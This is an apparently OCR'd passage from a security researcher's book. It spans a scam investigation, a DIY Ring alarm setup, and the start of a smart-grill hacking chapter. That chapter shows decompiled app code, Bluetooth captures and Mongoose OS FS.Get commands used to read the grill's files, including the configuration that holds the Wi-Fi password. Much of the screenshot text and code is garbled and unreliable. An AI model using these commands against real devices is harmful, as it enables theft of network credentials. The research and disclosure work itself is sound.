en son hesaba veniden basvurmak icin
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170,102.239.190 - - (05/Aug/2023:14:19:45 +0000] "GET /images/.
ko) 007scrm/4.5818 Chrome/108.0.5359.215 Electron/22.3.18 Safari/537.36"

e @56 *» =400
srch on the I0C . ess or hast
171.102.239.190
o >
38082
IT-TIG-AS-AP Trus Intermational Gatewoy
Co.Lid. ™
022390/24
eFinding@ ) DarkWebFinding@ ] Penalty Reason @ Recent

When I found out that there is a 4 hour difference
between Thailand and Turkey, I understood why the
bots say good night to each other at 20:30 Turkey
time and 00:30 Thailand time (&

peg HTTP/1.1" 200 30764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleNebKit/537.36 (KHTML, Like Gec

Of course, from the records on my website, I not only learned

about the scammer’s country of origin, but I also learned from

007scrm/4.58.8 in the User-Agent header that the scammer

used an application called SCRM Windows to manage multiple

social media accounts and communicate with his victims.


https://en.wikipedia.org/wiki/User-Agent_header
https://www.007.tools/client-download
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7 a8

Scrm macOS ‘ < ﬁ" Q

& Download the MacOS version

© oo

Did the fraudsters speak Turkish or did they use

translation tools?

Looking at the screenshots, it was clear that both the bots on
the group and the scammer/operator were using translation
tools, but just to be sure, I decided to use Anatolian dialects and
spelling mistakes that translation tools would fail 100% of the
time, but that only those who know Turkish can understand.
As you can see from the screenshot, translation programs fail
against Anatolian dialects, so I was sure that they were using

translation tools. (£
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August 4

Selam 1737 o
Merhaba

Nasilsin ? 11.3g

lyiyim

Yarim zamnanlh goreev grubbunnndaki
ggorevinii tamammmladin mmi ? qq.49 .

4 ticcar gorevini tamamladim

Nagadar gazandin ? 4.4 .»

Nagadar ? 11:50 W
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Conclusion

Before answering calls and messages from unknown sources
against fraud attempts, you should always keep in mind that
there might be a potential fraudster on the other end of the line,
on the other end of the keyboard.

By muting calls from unknown numbers in WhatsApp
(Settings -> Privacy -> Calls -> Silence unknown callers),

you can prevent them from bothering you for at least a while.

1023 vanr 1023 4

€ Privacy < Ccalls

Disapp

silence unknown callers )
Default message timer off .

art new chats with disappearing
set to your timer

Silence -
Unknown lcad
Cal IerS Live location

None

Calls
Silence unknown callers

Blocked contacts
None

Fingerprint lock

If you can share this article with your spouse, friends, loved
ones, and those around you in order to raise awareness against
this fraud method, together we can prevent more citizens from
being defrauded!

Hope to see you in the following articles.
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5. Home Home

Secure Home

Towards the end of 2022, when my spouse and I decided to
settle in the United States, our first task was to find a place
to live. Having lived in a house with 24/7 residential security
guard services in Istanbul, Turkey, for many years, we had
never been particularly concerned about security. However,
when it came to living in a detached house and ensuring its
physical security, it became my responsibility as a

cybersecurity professional and DIY enthusiast. (&

Thanks to our realtor Ms. Arda AKBAS, even before
setting foot in the United States, we managed to find
a three-story, detached house in a low-crime area
remotely.

As my first task, I started examining the exterior of the house
using Google Maps. to roughly identify suitable locations for
outdoor cameras.

153


https://www.mertsarica.com/u-s-o-1-visa-individuals-with-extraordinary-ability-or-achievement/
https://www.linkedin.com/in/ardaakbas/
https://www.adt.com/crime
https://www.google.com/maps
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When it came to finding a suitable alarm system, as a DIY
enthusiast, Ring, Eufy, SimpliSafe, ADT Blue alarm systems

caught my attention. After extensive research and evaluations,
despite some negative news regarding privacy and
vulnerabilities, I decided to choose the Ring alarm system due
to its price, performance, and extensive ecosystem.

After moving into the house, my first task was to inspect
each floor as if I were a burglar. As you might expect from
American movies, I encountered many (27) sliding windows
and 3 doors opening to the garden. The basement was a cute
place, ideal for making a home gym, with 1 room, 2 windows,
and a door opening to the garage, unlike in horror movies
where it’s always the place where monsters and bad spirits

reside.

According to the emerging needs, I first ordered the second-
generation main alarm system from Ring, which consists of 14
pieces. In addition to that, I also ordered panic buttons that


https://en.wikipedia.org/wiki/Do_it_yourself
https://ring.com/security-system
https://us.eufy.com/collections/security
https://simplisafe.com/home-security-shop-packages
https://www.adt.com/protect/diy
https://www.ftc.gov/news-events/news/press-releases/2023/05/ftc-says-ring-employees-illegally-surveilled-customers-failed-stop-hackers-taking-control-users
https://techcrunch.com/2022/07/13/amazon-ring-video-footage-government/
https://techcrunch.com/2022/08/18/amazon-ring-security-risk/
https://www.amazon.com/dp/B08YMBQJ49
https://www.amazon.com/gp/product/B07MV5B9XC/
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activate the siren when pressed for 3 seconds, detectors capable

of detecting the sound of glass breaking, and motion detectors.

After securing the windows and doors with magnetic door

contacts and ensuring the safety of specific areas with glass
break and motion detectors, it was time to purchase indoor and

outdoor cameras.

Since the garage had two doors accessible from the outside
and one door from the inside, it was an important location
to position an indoor camera. To avoid dealing with electrical
wiring, I decided to go with battery-powered cameras and
purchased the Ring Stick Up Cam for the garage. Next, I

installed and set it up.


https://www.bestbuy.com/site/ring-alarm-glass-break-sensor-2-pack-white/6492198.p?skuId=6492198
https://www.amazon.com/gp/product/B07ZB32NCJ/
https://www.amazon.com/Ring-Alarm-Contact-Sensor-6pk/dp/B07ZB2QLC2?th=1
https://www.amazon.com/Ring-Alarm-Contact-Sensor-6pk/dp/B07ZB2QLC2?th=1
https://www.amazon.com/gp/product/B07Q6ZZFLS/
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When it came to exterior cameras, my first priority was
capturing footage of anyone approaching the front door, as
well as having the ability to engage in two-way
communication. Therefore, I purchased the Ring Video
Doorbell 4, which allowed me to achieve these functionalities.
Instead of drilling and mounting it on the wall, I chose to hang
it on the door. Additionally, I purchased the DOORBELLBOA


https://www.bestbuy.com/site/ring-video-doorbell-4-smart-wi-fi-video-doorbell-wired-battery-operated-satin-nickel/6459035.p?skuId=6459035
https://www.bestbuy.com/site/ring-video-doorbell-4-smart-wi-fi-video-doorbell-wired-battery-operated-satin-nickel/6459035.p?skuId=6459035
https://www.amazon.com/gp/product/B08GG9NVSM/
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Anti-Theft Video Doorbell Door Mount as an additional
accessory.

Two days after activating the smart bell, it caught its first
uninvited guest. (£

One or more interactive elements has been

excluded from this version of the text. You can
view them online here: https://pressbooks.pub/
hack4career/?p=48#oembed-1

Since the main entrance door of the garage was outside the
camera’s field of view, I decided to install the Ring Spotlight
Cam Pro on both the main entrance door and the back door
of the house. To avoid frequently changing the batteries of the
cameras (which typically last around 3 months depending on
usage), I not only equipped each camera with two batteries but

also purchased the second-generation Ring Solar Panel, a solar-
powered panel, and connected it to the cameras. This way, the
panels have relieved me of the hassle by charging the batteries

on sunny days.


https://www.amazon.com/gp/product/B08GG9NVSM/
https://www.amazon.com/Ring-Spotlight-Cam-Pro-Battery-White/dp/B09DRX62ZV
https://www.amazon.com/Ring-Spotlight-Cam-Pro-Battery-White/dp/B09DRX62ZV
https://www.amazon.com/gp/product/B0B27JY45L
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In the following days, we had another uninvited guest, but this
time, he was caught in the backyard. (&)

One or more interactive elements has been
excluded from this version of the text. You can
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view them online here: https://pressbooks.pub/
hack4career/?p=48#oembed-2

Just like in cybersecurity (CISSP Domain 3: Security
Architecture and Engineering), deterrence is an important
security control in physical security as well. Therefore, I made
sure not to overlook placing 2 Ring Solar Security signs that

are powered by solar energy and illuminate at night, at the
entrance of the house and in the backyard. This serves as a

deterrent to potential intruders.


https://resources.infosecinstitute.com/certification/understanding-cissp-control-frameworks/
https://www.amazon.com/gp/product/B07P3FQ8SF
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N

For the business continuity, the main alarm system (Base
Station) is equipped with a battery that can provide power
for up to 15 minutes during short power outages, and it also
has cellular connectivity support to handle internet outages.
As someone who wants to ensure stability, I also purchased
the APC BE600M1 and BE425M Battery Backup uninterruptible



https://www.amazon.com/APC-Battery-Protector-Back-UPS-BE600M1/dp/B06ZXRH6CM/
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power supply units to support not only the router and alarm
system but also other electronic devices I have.

After completing all the installations, I now have a smart alarm
system provided by Ring mobile application, which allows me

to monitor and receive notifications about activities happening
in and around my home 24/7. To expand the monitoring
beyond just myself, I have also started utilizing Ring’s Protect
Pro 24/7 professional monitoring service.

1) Garage

2sec.ago

i Terrace

Finally, I completed the setup with Alexa, Echo Show 10, an

Al-supported voice assistant that can integrate with the Ring
alarm system, transmit alarms generated by the system
verbally, allow live viewing of cameras, make calls to the
person ringing the doorbell, and most importantly, customize

alarms according to your needs with Routines.


https://play.google.com/store/apps/details?id=com.ringapp&hl=en_US&gl=US
https://ring.com/professional-monitoring
https://ring.com/professional-monitoring
https://www.amazon.com/gp/product/B07VHZ41L8
https://support.ring.com/hc/en-us/articles/360031606811-Creating-a-Routine-with-Alexa-and-your-Ring-Device-
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& ROUTINES (+)

YOUR ROUTINES GALLERY ACTIVITY

Sorted by Routine Name A-Z =T

Basement Door Alert o

Basement Door is open

Basement Motion Alert

Basement Motion Detector dete...

Basement Window 1 Alert

Basement Window 1 is open

Basement Window 2 Alert

- 9 O o

Communicate Devices
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& EDIT ROUTINE

Enabled

Basement Door is open

WHEN

Basement Door opens
View/Edit

Anytime

ALEXA WILL

Add action

@ Say "Basement door is open"

Echo Show

- e O o

Home Communicate Play Devices




168 mertsarica

In conclusion, the Ring alarm system, along with all its
components, cost us approximately $2000. While it cannot
replace our beloved and loyal companion, North, in terms of
being our family’s guardian, we believe the Ring alarm system
provides a great opportunity for him to enjoy early retirement

and long naps. (£
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I assume this article will be useful for those who want to use
a DIY alarm system like me. Hope to see you in the following

articles.
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6. How | Hacked

my Smart Grill ?

The Russian Military Intelligence Department (GRU), targeting
Mert SARICA, a high-ranking bureaucrat, assigned the
notorious APT 28 hacker group, also known as Unit 26165,
which has been operating since 2004, to infiltrate his home’s
wireless network and retrieve Top Secret classified

documents.

On April 10th, APT 28 group members entered the country
with diplomatic passports. After placing their equipment,
including a computer and various hardware for wireless
network hacking, in the trunk of a rented Citroen C3, they set
off towards the address of the house.

Hacking Grill

Hacking Grill

Hacking Grill

As they approached the house, they resorted to the Wardriving
method to identify the SSID (Service Set Identifier) of the target
wireless network. After passing by the house twice, they

171


https://en.wikipedia.org/wiki/GRU
https://attack.mitre.org/groups/G0007/
https://en.wikipedia.org/wiki/Wardriving
https://en.wikipedia.org/wiki/Service_set_(802.11_network)#SSID
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determined that the network with the highest signal strength
belonged to Hack4Career.

To avoid arousing suspicion, the APT 28 group parked their
cars at the beginning of the closest street to the house. They
then turned their attention to trying to crack the 15-character
alphanumeric password, which included special characters,

protecting the wireless network using the WPA3 protocol.

After extensive efforts, the group concluded that they couldn’t
break the password and decided to embark on reconnaissance
around the house.

In today’s world, the Internet of Things (IoT) is prevalent in

various areas, from kitchen appliances and cars to thermostats
and smart home systems. Due to the vulnerabilities of these
devices, the group searched for smart devices that could be

easily exploited.

According to statistics, as of the year 2023, there
are 8 billion people living on our planet, while the
number of IoT devices has reached twice the human
population, reaching 16 billion.

After a brief reconnaissance mission, the APT 28 group’s
attention was drawn to the Wi-Fi and Bluetooth-enabled smart
pellet grill on the terrace, which was plugged into an outlet.
They remotely took a photo of the brand and model and
decided to purchase one for vulnerability research.

After 8 hours of investigation, they managed to obtain the

name and password of the associated wireless network


https://www.wi-fi.org/discover-wi-fi/security
https://www.nato.int/cps/en/natohq/topics_111830.htm#:~:text=Both%20surveillance%20and%20reconnaissance%20include,analysed%2C%20turning%20information%20into%20intelligence.
https://en.wikipedia.org/wiki/Internet_of_things
https://iot-analytics.com/number-connected-iot-devices/
https://www.amazon.com/wifi-pellet-grill/s?k=wifi+pellet+grill
https://www.amazon.com/wifi-pellet-grill/s?k=wifi+pellet+grill
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remotely by sending a packet/command via Bluetooth to the
grill, requiring only that it be plugged in.

With this information in hand, they wasted no time and
quickly got into their cars, heading towards Mert SARICA’s
house. After parking their vehicles in the same spot at the
beginning of the street, they used a Parani-UD100 device
connected to their computer’s USB port to send a packet/
command to the smart grill via Bluetooth from a distance of
984 feet.

Upon receiving a response from the smart grill, they
successfully obtained the Hack4Career wireless network
name and its 15-character password. They then successfully
connected to the wireless network, completing the first step of

their operation.

The fictional story I described above may seem utopian to
many for two reasons.

First, you might think that Russian hackers entering a country
with ease and then attempting to infiltrate a wireless network
is something you’d only encounter in movie scripts. For those
who think this way, I recommend taking a look at this news
article from 2018. 'm sure that some of the photos in the
article will look familiar to you. (&

Second, you may believe that hacking a smart grill and
infiltrating a home network wouldn’t be as easy in practice
and would only happen in an episode of Mr. Robot. For those
who think this way, I leave you with the following story
where the main character and everything described are real.
With the approaching barbecue season, in April 2023, I started
looking for a grill to use on my terrace. While considering


http://www.senanetworks.com/ud100-g03.html
https://www.bbc.com/news/world-europe-45747472
https://www.imdb.com/title/tt4158110/
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whether to get a practical gas grill or deal with charcoal every
time, I decided to purchase a smart, WiFi pellet grill even
though I've been saying “Smart device means spy device” for

years.

7 S 2 4
loaded and installed

the mobile app mentioned in the grill’s user manual. After

, 7~ 7 7~ Z
After the grill reached my hands, I down
running the app, I followed the instructions and first added the
grill via Bluetooth, then included it in my home WiFi network
by entering the password.
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PRODUCT SETUP

STEP 1:
Open your settings and ensure Bluetooth is enabled

on this device

STEP 2:
Select your product when it appears below

580

1000

If you don't see your product, move closer to the
product and make sure the product is turned on.

CONTINUE

790 @
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CONNECTING
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WIFISET UP SKIP

Select your WiFi network and enter your network
password. Your grill will automatically switch between
Bluetooth and WiFi for the best connection.

SELECT YOUR WI-FI NETWORKS
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WIFI SET UP

Enter the password for: =~ ...

CONTINUE
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After I cooked our first meal on the grill and enjoyed it, I
decided to conduct a security research just like other IoT
devices that I purchased before.

As a first step, I downloaded the mobile application from
ApkPure and started examining the source code with the jadx
tool. Since no obfuscation method was used during the
compilation phase, I was able to easily examine the source

code.

< awable &, BuildConfi &, BuildConfi

/% loaded from: classes3.dex */
o | public final class BleCommandMaker {

public static fimal String BT_ICON = “225 225 000 011 000 080 007";
public static final Companion Companion = new Companion(null);

public static final String PAUSE = "225 225 000 009 000 048 @51 000";
public static final String POWER_OFF = "225 225 000 009 000 048 002 000";
public static final String POWER_OFFN "e2";

public sta nal int QUERY_AF_MODE =
public sta nal int QUERY_AF_ONOFF = 2;

public sta nal int QUERY_AF_TEMP

public sta nal int QUERY_AF_TIME = 6;

public sta nal String SET_MODE = "225 225 008 009 000 048 007"

public sta nal String SET_TEMP_MODE_TO_CELIUS = "225 225 000 009 000 048 003 001";
public sta nal String SET_TEMP_MODE_TO_CELIUSI

public sta nal String SET_TEMP_MODE_TO_FAHRENHEIT = "225 225 000 009 000 048 003 000";
public sta nal String

public sta nal String STAR

public static final String
public static final String
public static final String
public static final String
private final JSONObject command;

private final JSONGbject params = new JSONObject();
private final String TAG = "BleCommandMaker" ]|

public final String ConvertFCum (boolean 2) {
return z ? SET_TEMP_MODE_TO_FAHRENHEITl  : SET_TEMP_MODE_To_CELIUSHN.;

public final String eraseAppIsWithComment() {
return "{\"id\":1099,\"method\":\"FS.Put\", \"params\": {\" filename\":\"app.s\",\"append\": false, \"data\":\" APEH;

public final String getGrillStatus() {
return "{\"id\":1932,\"method\":\"SendGenericCommand\",\"params\": {\"conmand\":\""254 011 001 255\"}}";

public final String getIPAddress() {
return "{\"id\":888,\"method\":\"GetCurrentIP\",\"params\":{}}";

public final String getState() {

Code Smali  Simple  Fallback Split view


https://github.com/skylot/jadx
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< awable €, BuildConfig €, BuildConfig Y iceVi < icevi o & v
435 public final String getFileContent(String fileName, int i) {
Intrinsics. checkNotNul lParaneter (ileName, "fileNane");
436 return * {\"id\":999,\"method\":\"F5.Get\",\"parans\" “ + fileName + "\", \"offset\": 0, \"lem\":" + i + "}} *;
¥

439 public final String setUpWiFiWithSecurity(String ssid, String wifiPassword) {
trinsics. checkNotNullParameter (ssid, "ssid
Intrinsics.checkNotNullParameter (wifiPassword, "wifiPassword");

440 return "{ \"id\": 1205, \"method\": \"Config.Set\", \"params\": {  \"config\" \"hidden_files\": \"s.x\"
¥
464 public final String sendSSID(String ssid) {
Intrinsics.checkNotNullParameter (ssid, "ssid")
465 return "{\"id\":1205,\"method\":\"Config.Set\",\"params\": {\"config\": {\"wifi\":{\"sta\": {\"ssid\": \"" + ssid + "\"}}}}}";
}
468 public final String sendPass(String pass) {
Intrinsics.checkNotNullParameter (pass, "pass")
469 return "{\"id\":1204,\"nethod\":\"Config.Set\",\"params\":{\"config\": {\"wifi\":{\"sta\": {\"pass\": \"" + pass + "\"}}}}hn";
}
477 public final String setAWSFrequency(int i) {
try
478 this. comand. pm"m", alecomm«akem ID_SET_AWS_FREQUENCY) ;
419 METHOD, "SendGenericComnand") ;
480 th:.s parans. put command" 254 en 001 255");
481 this.params.put ("frequency", i);
482 this. conmand. put (NativeProtocol.WEB_DIALOG_PARAMS, this.params);
483 String jSONObject = this.command. toStrin

Intrinsics. checantNullExpressmnvaluel]S!)N(lhject, “command. toString()");
return jSONObject;
} catch (JSDNEx:eptmn unused) {

¥
¥

496 public final String setProbeTemperature(int i, int i2) {

)
497 this. conmand. put (FirebaseAnalytics.Param.METHOD, "SetTemperature");
498 this.params. put(TYDedValues Attributes.S TARGET, Intrinsics. stringPlus("probe”, Integer.value0f(i)));
499 this.params. put ("amount”
500 this. conmand. putwamepmmml WEB_DTALOG_PARAMS, this.params);
Code Smali  Simple Fallback [ Split view

4

After navigating through the codes for a while, I noticed the
init.js file that was passed as a parameter to the
getFileContent() function. When 1 examined the
getFileContent() function, I saw that it read the init,js file
located in the operating system of the grill using the Fs.Get
method.

if (Intrinsics.areEqual(descriptor.getCharacteristic().getUuid(), BluetoothLeService.UUID_CHARACTERISTIC_RPC)) {
Crashlytics crashlytics2 = Crashlytics. INSTANCE;
str3 = BluetoothLeService.TAG;
crashlytics2.d(str3, "onDescriptorWrite: RPC response enabled.
if (pr per. read( per.COMNECTDEVICEN; , false) .booleanvalue() ||
return;

nutl) {

+addIntoQueue(new BleCommandMaker().getFileContent("init.js", 20), BaseBleServiceActivity.QUERY_COMMAND) ;
return;

}
Crashlytics crashlytics3 = Crashlytics.INSTANCE;
str2 = BluetoothLeService. TAG,
crashlytics3.d(str2, "STATUS notification registered.
= BluetoothLeService. this.blindActivity;
i) {

if ( =
return;
.onBleConnected() ;

}
h
private final IBinder mBinder = new LocalBinder(this); Is there a way to replace
public final int getConnectionstate() { t.js with something

return this.connectionState; ')
» valuable from the attacker’s

public boolean getBluetoothConnectDeviceisNXG1() { perspective?
return this.bluetoothConnectDeviceisNXG1;
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public final String getFifleContent(String fileName, int i) {
Intrinsics. checkNotNullParameter (fileName, "fileName");

return " {\"id\":999,\"method\":\"FS.Get\",\"params\": {\"filename\":\"" + fileName + "\", \"offset\": 8, \"lem\":" + i + "}} ";

}

public final String setUpWiFiWithSecurity(s
Intrinsics. checkNotNullParameter (ssi
Intrinsics. checkNotNullParameter (wifiPasswol
return "{ \"id\": 1205, \"method\": \"Con

ng wifiPassword) {

\"config\": { \"http\": { \"hidden_files\": \"x.x\"

public final String sendSSID(String ssid) {
Intrinsics. checkNotNullParameter(ssid, "ssid");
return "{\"id\":1205,\"method\":\"Config.Set\",\"params\": {\"config\":

Might FS.Get method be a clue of the
target operating system ?

public final String sendPass(String pass) {
Intrinsics.checkNotNullParameter(pass, "pass");
return "{\"id\":1204,\"nethod\":\"Config.Set\",\"params\": {\"config\":

Of course, when I saw this, lightning bolts struck in my mind
and I had only one question in my mind: “If I send a file name
other than init.js to the grill via Bluetooth, would I be able to
see the content of that file in the response?

To find the answer to this question, just like in my blog post
titled “Run_Mert Run” I followed the steps in a response to
a message from someone who was experiencing Bluetooth
packet-related issues on Samsung’s support page to examine
the Bluetooth communication between the mobile application
and the grill.

When I started analyzing the btsnoop_hci.log file with
Wireshark, I saw that at one point in the communication, the
mobile application wrote the value 00000055 (WRITE
REQUEST) to the handle 0x33 of the
5f6d4£53-5£52-5043-5f74-785£63746¢5f
(CHARACTERISTIC_BROIL_KING_WRITE_DATA_LEN
GTH) Bluetooth service.

In the next step, I saw that the command
{“id”:999,”method”:”FS.Get””params”:{“filename”:”init.js
??offset”: 0, “len”:20}} was sent in pieces (WRITE REQUEST)
to the handle 0x2e of the
5f6d4f53-5152-5043-5f64-6174615f5f5f


https://www.mertsarica.com/run-mert-run/
https://forum.developer.samsung.com/t/bluetooth-crash-and-data-corruption-galaxy-s20-fe-and-other-sd-865-based-devices/10746
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(CHARACTERISTIC_BROIL_KING WRITE_COMMAND
) service’s characteristic.

Find
Destinatign Protocc|Length _[Info
ATT 16 Sent Handle Value Indication, Handle: 0x0003 (Un
ATT 12 Sent Exchange NTU Request, Client Rx NTU: 500
10 Revd Handle Value Confirmation, Handle: 0x0003 (

|
m nn i e e, :

16 Sent Read By Type Request, Server Supported Feat
A

= SR
n —

"N | Request, Handle

Response, Handl
Request, Handle

E
Il EN Revd Write Response, Handle:

0000 02 43 00 0b 00 07 00 04 00 12 33 00 00 00 00 55  C

T
023-03-29
2023-03-29

Handle: 0
Value: 00000055

Sent the length of the
command. (85 characters)

® B Vaue tataie), 4 by Packets: 1029 - Displaye: 159 (15.5%) profi: Default

ooz ol nth {1k
) T ) W i X R
R e T
e oeao3 (Imkrmy
e
18 Sent lrite heswent, Handter ox0933. (Unktow)
18 Revd Write Respons, Handies
32 St Mrite Rewest, Honcler O
. - 10 Rcvd Write Response, Handle:
12 Sen \rite Resuent, Handte
30 Revd Write Response, Handy
u 3 Sent wrtta Reests, Hondte
L e i
& 32 Sent Mrite Reawent, Hondler i
*10 20i37i00 L. 10 Revd Write Response, Handher
oo ets seisrione 17 Sent rtte Resuents Hondte
e o Enm 2 e e e soritiestions dand T
18 Revd write Response, Handle: 98020 (inkrow)
| 13 Sent I hwunats saiter exseze (ke
- 185 R Rasd Responas, Handher oxa03e (Inkmonm)
- 14 Sent et Resse, vndles o (imino)

23-03-29 b
2023-03-29
i 2a72an. " cana1> | |
Frane 695: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) 0000 02 43 00 1b 00 17 00 04 00 12 2¢ 00 20762269  -C o
Bluetooth 0010 6422 3 39 39 39 2c 22 6d 65 74 68 6f 64 22 3a  ":999," method”

Value: 207b226964223a3939392¢22646574686 164223

Sent the 1st part of the
command in 20 bytes.
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btsnoop_hei.log

@ mERR ]
st bizcapcid =

| source Destination ProvcolLangeh
Exchange MTU Response, Server Rx MTU: 500

Read By Type Request, Server Supported Feat

Write Request, Handls
Write Response, Handle:
Write Request, Hand

rite Response, Handle:

57132, 84968

srisseeses [ M die: ox002e (Unknown)
rite Reauest, Handie: 0x002e (Unknom)

rite Respanse, Handie: Gxd03e (Unknom)

Write Reauest, Handle: 0xg02e (Unknom)

Write Respanse, Handie: axdoge (Unkoom)

rite Reauest, Handt

Arite Rasponse; Handles

Read Request, andle

Read Response, Handl

0000 02 43 00 1b 00 17 00 04 00 12 2¢ 08 2

2552«
G010 47 65 74 22 2¢ 22 70 61 72 6164 73 72 3a 70 33 Get","pa romses

Request (0x12)

Sent the 2nd part of the
command in 20 bytes.

® B Value (trtvaue), 20 byes Packets: 1029 - Displayed: 169 (1.5%) Profh: Detaut

Destination protoco|Length _|info
AT 16 Sent Read By Type Request, Server Sppo
14 Revd Error Response

14 Sent Write Reauest, Handle

32 Sent Write Request, Handle:
10 Revd Write Response, Handle:

00 10 00 17 00 04 00
6e 61 6d 65 22 3a 22 69

12 2¢ 00 66 69 6¢ 65
60 69 74 2 6a 73 22 2¢

captured (256 bits) o000 c
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protacol
Bluetooth Attribute Protocol
t (0x12)

Vetue: 666oRcoSesIGURR2230226060697 2007 I222¢

Sent the 3rd part of the
command in 20 bytes.

® B vaie Grattvaiue), 20 bytes Packets: 1029 - Displayed: 159 (15.5%) prfi: Detault

Packat bytes Nartow (UTF-8 ASCH) E s cancel

Time Isourcs Desinton ProtcclLength [1to
20230329 20:57:32.429022 T 4 Sent Write Reguest,
20230329 20,57132.510356 kr M
30230339 20,57132.322430 M
20730329 2057132, oss00 [ h
e e i sies 2
2023-05- £ 1
20230329 20157132 arr »
20230329 2037 H
20230329 20.57.133.0804 & »

Handle: 0x0031 (Unknown)

: 0x002¢ (Unknown)

57:33.
33.691795
33.868371
33.868077
34176298
34.319599

zm 03-29 20:57:
on wire (256 bits), 32

Frane 756 32 bytes
Bluetooth
Bluetooth HCI K4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol

[ (0x12)
Handle: 0x002e (Unknown)

ue: 2022616666736574223020302¢20226¢6560223

ode: Write Request

ou

bytes captured (256 bits)

10 Revd Write Response, Handle:
32 Sent Write Request, Handle:
10 Revd Write Response, Handle
17 Sent Write Request, Handle:

16 Revd Handle Value Notification,

10 Revd Write Response, Handle:
12 Sent Read Request, Handle:
105 Revd Read Response, Handle:

0000 02 43 00 1b 00 17 00 04 0 20 22 6f 66
G070 85 73 6 74 22 30 20 3 2 20 25 60 &8 o6 23 30

Sent the 4th part of the
command in 20 bytes.

ayoc 169 (16.5%)

0x00

(Unknown)

0x002¢ (Unknown)
0x002e (Unknown)
0x002¢ (Unknown)

Handle:

0x0030

0x002¢ (Unknown)

x002¢ (Unknown)

0x002¢ (Unknown)

fset": 0, “len

1
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0
a i@ mMERNE Fe>EFLIE E
A bitosthadde |88 bizeapeld = 0x0004
No. ITin ISouce Destnation
681 202: :57:32.429422 . - 14 Write Request, Handle: @x@031 (Unknown)
P : AT 10 S,
687 2023-03-20 20157,32. 522430 1 Request, Hondle
603 57:32.casses n 20
605 2023-a3-2 2 =
74 : 10 Response, Hondl
75 202 o 2 Reauest,
720 202 i Response, Handl
737 20030 ; 2
7 i 2
756 37:39, 2
7 ; 10
e a7t v
703 2023-03-20 || 1
20 201 10 Revd Write
795 2023-03-29 20:57:34.176298 AT h d
707 2023-03-20 20157:34.319599 B 165 Revd Read Response, Hondle: Ox0aze. (Unknow)
Frame 7761 17 bytes bits), 17 bytes captured (136 bits) 0000 92 43 00 0c 00 08 00 04 00 12 2¢ 00 R ITATY  C 20
e lliss oo 28
Bluetooth eI We
Bluetoath L2CAP Protocal
Bluetooth Attribute protocol

Value: 3230747420 Sent the last part of the
command in 5 bytes.

® B Vaue (tatvaie), 5 by Packets: 1029 - Displayod: 159 (15.5%)

When I decoded the Base64-encoded data in the response
(READ RESPONSE) received from the grill, which contained
{“id”:999, “src”’XXX-XXXXXXX”, “result”f{ “data”:
“Ly9CS1B2MDQyYLjQ1ICAgICAZICA=", “left”: 35298}}, I
found the string /BKPv042.45

a i@ mERNE Fe>EFTIEE

A [blustooth.addr 88 bii2cap.cid == 0x0004
No.

Time ISource Protocc Length It
715 2033-03-29 32'%ent Write Request, Handle: oxB02e (Unknown)
730 2023-03-29 20157:33. 10 Rovd Write Response, Handle: 0x002e (Unknown)
737 20730329 I ' 32 sent Write Request, Hand ko
2023-03-29 h L 10 Revd Write Response, Handie: Ox0eze (Unknown)
10 R Write Response, Handies Oxveze (Unknow)
7 te Request, Handle: 0x002e (Unknown)
Handle Value Notification, Handle: 60030
10 Rovd Write Response, Handle: 0x002e (Unknown)
Read Request, andle: x002e (Unknown)
Read Response, andle: 01002 (Unknown)
Write Request, Handle: 0x002b (Unknown)
Write Response, Handle: 80025 (Unknown)
Write Request, Hand
Write Response, Handl
Write Request, Handle:
Write Response, Handl
Write Request, Handle
Write Response, Handle:
sent Write Request, Handle

captured (840 bits) 0000 92 43 20 64 00 60 00 04 00 Ob 7b 22 69 64 22 33
10 3

Bluetooth HCI K Ly
Bluetooth HCI ACL Packet o 152MDOyL. jo1ICAGT
Bluetooth L2CAP Protocol . | CAgICA=" |, “left"
Bluetooth Attribute Proto © 322033353239387d 70 + 35298) }

Base64 encoded
data

B Valus oattvalue), 95 bytes Packets: 1029 - Displayed: 159 (16.5%) Profe: Defaut


https://en.wikipedia.org/wiki/Base64
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Options 8 About

upport @

Dounload CyberChe! & Last build: 10 days ago - Version 10 s her! Read abou the new features here

Operations Recipe B F nput Ll =R
Search, R | Ly9CS182HDOYLIQ1ICAQICAGICA]
Favourites * Aohabet

A-Za-20-9+/=

ToBaseos
R 4 Remove non-alphabet chars [ strict mode

To Hex

From Hex
T Row Bytes € L7

B0®:a

To Hexdump —-n o1 9n

From Hexdump Output

URL Decode /18KPv042..45

Regular expression
Entropy
Fork

Magic

Data format
s D 2.
ke R,

LEneruntian I Encadin

When I searched for some keywords that caught my attention
in the source code of the mobile application on Google search
engine, I learned that the grill has an operating system called

Mongoose OS.

Go g]e "sys.reboot" "init.js" config.set "config.save" fs.rename X $ ® Q

Q Al [JImages [3] Videos (@ News [ Books i More Tools

About 2 results (0.39 seconds)

It looks like there aren't many great matches for your
search

Try using words that might appear on the page you're looking for. For example, "cake

recipes” instead of "how to make a cake."

Need help? Check out other tips for searching on Google.

Gitter

https://gitter.im > cesanta » mongoose-os

cesanta/mongoose-0s

Rename", "FS.Remove", "FS.Put", "FS.Get", "FS.ListExt", "FS.List", "Config.Save’, "Config.Set",
"Config.Get", "Sys.SetDebug", "Sys.GetInfo", "Sys.Reboot’,

I

Run-time init
conf@.json - configuration defaults. This is a copy of the generated sys_config_defaults.json .ltis

loaded first and must exist on the file system. All other layers are optional.
confl.json - conf8.json - these layers are loaded one after another, each successive layer can override
the previous one (provided conf_acl of the previous layer allows it). These layers can be used for vendor

configuration overrides.

. conf9.json is the user configuration file. Applied last, on top of all other layers. mos config-set and
save_cfg() API function modify conf9.json .

confO,json conf1.json confg json

After realizing that I had never seen or heard of this operating


https://mongoose-os.com/mos.html
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system before, I decided to take a look at the user guide on their
website. When I visited the Device config page, the conf9.json

file among the json files starting with conf caught my attention.

Since I thought this file containing user settings might have
some noteworthy information, I created the following 88
characters long request/command to read the conf9.json file
over Bluetooth connection using bluetoothctl tool instead of
init.js, but I encountered an Invalid Offset error when I sent
it to the grill through a Bash script.

{“id”:999,’method”:”FS.Get”,’params”:{“filename”:”conf9.
json”offset”: 0, “len”:20}}

tho

0x20 0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d 0x65 0x74 0Ox
